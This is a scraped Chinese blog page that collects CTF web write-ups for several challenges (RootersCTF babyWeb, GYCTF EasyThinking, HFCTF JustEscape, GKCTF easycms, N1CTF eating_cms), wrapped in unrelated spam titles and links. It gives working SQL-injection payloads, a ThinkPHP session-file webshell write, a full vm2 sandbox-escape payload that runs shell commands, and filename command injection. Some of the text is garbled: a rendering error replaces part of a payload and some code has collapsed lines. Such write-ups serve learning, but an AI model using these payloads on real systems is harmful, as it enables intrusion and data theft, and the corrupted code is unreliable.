当前位置: 首页 > news >正文

不免费的网络营销方式windows 优化大师

不免费的网络营销方式,windows 优化大师,盘龙城做网站,深圳好看的网站建设哪家公司好[RootersCTF2019]babyWeb 预期解 一眼就是sql注入,发现过滤了 UNION SLEEP " OR - BENCHMARK盲注没法用了,因为union被过滤,堆叠注入也不考虑,发现报错有回显,尝试报错注入。 尝试: 1||(updatex…

[RootersCTF2019]babyWeb

预期解

一眼就是sql注入,发现过滤了

UNION SLEEP ' " OR - BENCHMARK

盲注没法用了,因为union被过滤,堆叠注入也不考虑,发现报错有回显,尝试报错注入。

尝试:

1||(updatexml(1,concat(0x7e,(select database())),0x7e))

在这里插入图片描述

得到数据库,继续注入得到列名,表名。

1||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))

在这里插入图片描述

表名:users

1||(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)),1)) 
输出不全,用limit一个一个来
1||(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1)),1))

在这里插入图片描述

发现所需数据

1||(updatexml(1,concat(0x3a,(select uniqueid from sql_injection.users limit 1)),1))

在这里插入图片描述

得到uniqueid,直接输入即可得到flag。

在这里插入图片描述

非预期

用order by测试时,发现uniqueid只有两列

union被过滤无法直接查询,猜测利用正确的uniqueid登陆后即可得到flag,既然我们本来就是要通过注入去得到flag,那么我们也可以直接让其查询返回正确的uniqueid,直接用万能payload。

1||1=1 limit 1
SELECT * FROM users WHERE uniqueid=1||1=1 limit 1

在这里插入图片描述

题目位置:https://gitlab.com/0xCC00FFEE/RootersCTF2019-challenges

可以自己去本地复现,然后看一下1||1=1 limit 1的原理。

[GYCTF2020]EasyThinking

发现有登陆注册搜索等功能

在这里插入图片描述

初步尝试后发现不是sql注入。

在这里插入图片描述

发现是ThinkPHP V6.0.0,该版本存在漏洞。

ThinkPHP6 任意文件操作漏洞分析 (seebug.org)

修改session然后搜索数据。

搜索的数据会自动存到session文件里,每一个PHPSESSID对应一个session文件,可以控制PHPSESSID去修改session文件。

先登录生成session文件。

在这里插入图片描述

然后利用搜索存入一句话木马。

在这里插入图片描述

蚁剑连接。

在这里插入图片描述

然后利用插件提权,运行readflag得到flag

在这里插入图片描述

得到flag。

本地主要是利用任意文件写入漏洞写入一句话木马,一共有三个地方可能存在写入操作,登陆时的username,password以及搜索时的key,经过测试,登陆时的数据并不存入session文件中,因此只能用搜索时的key,本地复现后直接可以全局搜索文件内容即可发现session文件位置,也可以去看代码分析。

利用%2F…%2F…%2F…%2F123456789012345678.php写入的结果。

在这里插入图片描述

在这里插入图片描述

经测试,当PHPSESSID=%2F…%2F…%2F…%2F123456789012345678.php,无法成功登录然后去进行搜索,因此没法同时直接控制文件的位置、名称、内容。

在这里插入图片描述

[HFCTF2020]JustEscape

vm沙箱逃逸,发现有过滤。

['+', '"',''','for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function']

在这里插入图片描述

逃逸poc:https://github.com/patriksimek/vm2/issues/225

利用KaTeX parse error: Expected '}', got 'EOF' at end of input: {`{prototyp}e`}这种方式绕过过滤

(function(){TypeError[`${`${`prototy`}pe`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_proce`}ss`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /f*`).toString();}
})()

在这里插入图片描述

[GXYCTF2019]StrongestMind

简简单单的计算,直接套之前的脚本。

感觉有个师傅的脚本逻辑很不错,用一下

import requests
import re
import timesession = requests.session()url = 'http://ea3579dc-520a-46ea-9f0e-6842ba17b19c.node4.buuoj.cn:81/index.php'
req = session.get(url).text
for i in range(1100):try:result = re.findall("<br><br>(\d.+)<br><br>",req)result = "".join(result)result = eval(result)data = {"answer":result}print("time: "+ str(i) +"   "+"result: "+ str(result))req = session.post(url,data=data).textif "flag{" in req:print(re.search("flag{.*}", req).group(0)[:50])breaktime.sleep(0.1)except:print("[-]")

在这里插入图片描述

[GKCTF 2021]easycms

后台密码为: admin/12345

任意文件下载

在主题导出处存在任意文件下载漏洞。

在这里插入图片描述

代码注入

发现在幻灯片处可以编辑php代码。

在这里插入图片描述

但需要我们上传一个文件:/var/www/html/system/tmp/jdhp.txt

在上传素材处可以上传txt文件。

先上传一个txt文件。

在这里插入图片描述

看地址,很明显可以去修改上传到的地址。

将其地址给改了。

在这里插入图片描述

即可编辑php代码,在前台页面即可触发php代码。

在这里插入图片描述

后续

在尝试中,我还发现了附件上传的后缀名。

在这里插入图片描述

发现写入php会被删除,尝试了双写,直接报错。

在这里插入图片描述

也尝试了phtml,猜测他匹配删除之后会再进行一次判断,所以没法绕过。

在编码模板的地方可以修改文件代码,连接蚁剑。

在这里插入图片描述

上去把代码给down了下来,后边再看看。

[N1CTF 2018]eating_cms

比较喜欢这种题,学到了不少。

开局一个登录框,尝试sql注入没成功,扫一下发现有register.php。

注册后登录。

在这里插入图片描述

看了一会,没啥功能,但是发现了page参数,随便改一下。

在这里插入图片描述

页面回显有点可疑。

读取flag没成功,尝试了好久才发现了只能读取php文件。

伪协议读一下,看一下代码。

user.php

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

在读取一下function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

在user.php中有个方法filter_directory();跳进function.php。

是一个过滤,url数据中不能有[“flag”,“manage”,“ffffllllaaaaggg”,“info”]。

function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}

利用了parse_url将[“flag”,“manage”,“ffffllllaaaaggg”,“info”]给过滤了,绕过后读取ffffllllaaaaggg.php

url+///user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg

ffffllllaaaaggg.php

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}else {echo "you can find sth in m4aaannngggeee";
}
?>

它提示让我们去m4aaannngggeee。

在这里插入图片描述

发现一个文件上传,尝试上传。

发现上传功能是依靠upllloadddd.php实现的,再读取upllloadddd.php看一下。

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

一眼就看到了漏洞。

在这里插入图片描述

因为$filename可控,可以直接命令执行,但上边有一个上传和法检测

在这里插入图片描述

尝试后发现了/被过滤

在这里插入图片描述

所以不用/即可。

先ls找一下flag。

在这里插入图片描述

发现flag位置,直接读取。

在这里插入图片描述

http://www.yayakq.cn/news/829143/

相关文章:

  • 企业网站建设课程体会个人域名备案网站名称
  • 网站建设开发员深圳福田区
  • 常见的网站结构类型嘉兴网站建设公司
  • 建个人网站需要哪些微信公众号里怎么做网站
  • 专门做二维码的网站php开发
  • 专业网站搭建定做什么语言做网站
  • 网站安全 重要性手机怎么建自己的网站
  • l建设银行网站哪个wordpress编辑器
  • 公司 网站建设 简介网页设计作业网站
  • 网站建站网站多少钱不会技术怎么做公司网站
  • 一流的网站建设与优化辽宁省建设工程信息网官网招标
  • 新网站不被收录邳州城乡建设局网站
  • 网站型和商城型有什么区别怎么做夜场网站
  • 建设建设银行甘肃分行网站满版型网站有哪些
  • 石家庄做网站推广排名的公司wordpress 导购
  • 乡镇美丽乡村建设网站信息简体中文wordpress5.2下载
  • 那个网站可以做恒指 买涨买跌wordpress退出登录
  • 阿里云万网网站制作有哪些企业可以做招聘的网站有哪些方面
  • 网站在vps能访问 在本地访问不了电子商务网站建设资料
  • 品牌建设助力高质量发展网站建设搜索优化
  • 网站空间去哪买公司网站建设须知
  • 电商网站建设思维导图便利的合肥网站建设
  • 本地赣州网站建设二级分销小程序
  • 河北盛通公路建设有限公司网站响应式网站模板免费下载
  • 小视频网站开发咨询公司组织架构
  • 北滘建网站大连仟亿科技网站建设公司 概况
  • 锦州建设局网站网站建设电话营销
  • 为什么要建设商城网站商丘市住房和城乡建设厅网站
  • 网站seo优化方案设计织梦cms做电影网站
  • 怎么寻找网站关键词并优化网站开发计入会计 什么科目